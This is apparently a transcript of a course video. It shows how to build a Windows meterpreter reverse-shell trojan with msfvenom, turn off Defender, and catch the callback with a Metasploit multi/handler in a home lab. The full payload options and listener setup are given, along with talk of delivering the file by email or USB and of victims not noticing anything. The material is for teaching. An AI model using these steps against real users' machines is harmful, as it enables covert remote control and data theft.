Instructor: Okay, it is time we see
how we can gain access to the secured systems.
In the previous few videos we talked about
and we attacked machines
that had some vulnerability inside of them,
whether it was the operating system vulnerability,
an outdated software, or weak credentials,
we managed to exploit them through those vulnerabilities
and gain access to them.
But now let's see what happens
if our target doesn't have any known vulnerability.
What now?
Well, remember I told you
that the process of attacking is rather the same.
In this case, we want to deliver the payload to the target
and execute it.
Just while the target had a vulnerability,
we did this through an exploit,
and through that vulnerability
we managed to execute the payload ourselves.
Now it becomes harder.
We must deliver the payload to the target
using some other method
and the target has to execute the payload themselves.
That is the hard part.
The way you deliver the payload is completely up to you
whether it is over an email, or over some HTTP page,
over an USB drive, it doesn't matter.
What matters is that the payload ends up on their machine
and they double click and run it.
For now, let us focus on just creating the payload
and running it to see if it works.
For this, I will use Kali Linux machine
to create the payload
and I will execute it on my main Windows 10 machine.
You can run our payloads on the Windows 10 machine
that we installed in the previous section
or you can use any other Windows machine whatsoever,
it doesn't even have to be a Windows 10,
it is completely up to you.
Just one thing that we must make sure
is that Windows Defender
and antivirus software are turned off.
Why?
Well, we are going to be creating a payload
using MSFvenom tool from the Metasploit framework.
And since many people use the exact same tool
to create the exact same payloads as we will right now,
those payloads are well known to every antivirus software
and they will get detected quickly.
However, for now our goal is not to bypass antiviruses
but to just create a payload and get it to work.
So turn off your Windows Defender
and I will do it right here as well.
You can go to this arrow, click on the Windows Defender.
And the one thing that we want to turn off
is under this virus and threat protection.
We want to go to the managed settings
and turn off the real time protection.
It'll ask you for the administrator password
and once you type it in,
it'll turn off the real time protection
as it says right here.
So I will close this
and now let's create our very first Trojan.
As I already said for this,
we'll be using a tool called MSFvemon
So I will open a terminal terminal right here.
Why we are using MSFvenom?
Well, it is a known tool
and it is used to generate payloads really fast.
In just one command, we will be able to generate a program
that will gain us an access to the target system.
So let us see how we can create a simple one first.
If I type the command msfvenom -h,
right here we are going to see our available options
with the MSFvenom.
And up here we also get examples of usage,
which tells us how we can generate
a simple payload right here.
Let's follow the example and try it out.
Now it tells us right here that to run the MSFvenom,
we need to specify the entire path right here.
But instead we can just specify MSFvenom.
It'll still recognize it as the tool that we need
and we can write our options right after it.
So let me clear the screen so we can see the command better.
And if I go and type msfvenom, we want to use the -p option,
and this -p option stands for payload.
So here we specify which type of payload are we creating.
In my case, since I'm going to be attacking
this Windows 10 64 bit machine,
I want to generate
a Windows/x64/meterpreter/reverse_tcp payload.
I'm using a 64 bit because my machine is a 64-bit machine,
and I'm using a reverse shell connection.
Another option that we must specify is the LHOST,
and LHOST is the IP address of your Kali Linux machine.
So 192.168.1.12.
In my case, I will just double check it.
So sudo ifconfig, test1234 is my password.
And here it is, the IP address is correct.
Great.
Another option we must specify is the local port.
And by the way, this LHOST stands for local host,
not sure if I mentioned it.
And the local port is the port
that the target will connect to.
In our case, we can set that to be any port that we want.
For example, let's use 5555.
After that we can use the dash -f option
to specify the file type that we want to create.
So since we are attacking a Windows machine in this video,
I'm going to be creating an exe file.
So I will just type -f and then exe.
And the last option that I want to specify is -o.
And this -o stands for output.
Here we specify the name of the file.
I will just call it shell.exe.
This is all we will specify for now.
So once again, we are creating a 64-bit payload
for the Windows target.
We set the local host,
which will be written inside the payload
so the target can connect to our Kali Linux machine,
and we also specify local port
to which the target will connect to.
After that, we mentioned that the file type will be .exe,
which is an executable for Windows,
and at the end we output all of this
with a name o shell.exe.
Let's press enter
and here it is.
Our payload is right here on our Kali Linux desktop.
Here we can see it,
shell.exe.
This program, once executed on the target machine
will grant us an access
and give us the meterpreter shell on that machine.
Let's move it real quick to the target machine.
And this is something that you can do however you want.
You can plug in the USB device by going in Kali Linux
then on the devices then USB,
and select the USB device right here.
Then you will transfer it to the USB device.
And from the USB device you will transfer it
to your target Windows machine,
or you can also go to the devices,
click on drag and drop and set to be directional.
This simply means that you can just copy the file
from the Kali Linux desktop and paste it
or just drag it to the Windows 10 desktop, in my case.
In case you're using another virtual machine
that you're attacking, you can just copy it first
to your main machine desktop
and then from the main machine desktop copy it
to the desktop of your virtual machine.
Just make sure that in the target virtual machine
you also set the drag and drop to be directional.
Great, now we got our shell.exe,
or our payload on the target machine.
Great, but we are not done yet.
Remember that this shell will attempt
to connect to our Kali Linux machine once executed
since it is a reverse shell.
And it'll connect on the port 5555.
In order for connection to be established,
we must be listening on that port and have it open
in order for target to even be able to connect back to us.
This is something Metasploit framework
manually configured for us
once we performed our exploitation of our vulnerability.
But right now we must do it manually.
And we can do it with the help of MSF console as well.
So what I'm going to do
is I'm going to start the MSF console,
and once it opens up
I want to type use exploit multi and then handler.
And this is not an actual exploit.
You can imagine this as something
that will listen for the incoming connection
from our payload.
It is also called a listener.
So let's set it up.
If I clear the screen to see it better
and type show options, there is only one thing
that we need to set and that is the payload.
So the payload in this bracket
must match the payload that the target will execute.
So let's change, set payload to Windows x64 meterpreter
and then reverse_tcp.
Show options once again,
and we must set the LHOST
and LPORT to match from the MSFvenom command.
So set LHOST to be the IP address of my Kali Linux machine
which is .1.12 and set the LPORT to be 5555.
Once we set up all of these settings, we can run it.
So I'll just type run.
We can see it is now listening for the connections
and nothing else is really happening right here.
Why?
Well, because the shell on the target system
hasn't been ran yet.
So let's run it on Windows machine.
Double click and you will see nothing is opening.
But if I go back to my Kali Linux machine, here it is.
Here is our meterpreter session opened,
and it is identical to the ones that we had
during our vulnerability exploitation section.
Just this time we created and delivered it manually,
and we also manually set up our listener.
Keep in mind that this didn't exploit any vulnerability,
we are just relying on the mistake from the other person
that is using target machine to execute our file.
Otherwise, if the file doesn't get executed,
we don't get access to their machine.
And another thing to keep in mind is that listener
or in our case, this multi handler that we have
must be ran before the payload or before this shell.exe,
which is kind of logical since if the target runs our file
and we weren't listening for the connection,
then they won't be able to connect to our machine.
You can also notice on target's desktop once again
nothing is really happening.
So they might think
that the program they executed didn't work
and they won't question it that much.
But of course we got the connection right here
and we can use all of the commands the meterpreter gives us.
We can as usual enter a shell, type who am I,
type ipconfig, and all the other commands
that we can execute.
Type dir to check out all of the available files
on the desktop.
And if I exit this, exit out of the meterpreter shell
since we successfully gained access to it once again.
But keep in mind
that of course this was just a basic example,
and we will see in the next few videos
how to create a little bit more complex payloads.
See you in the next video.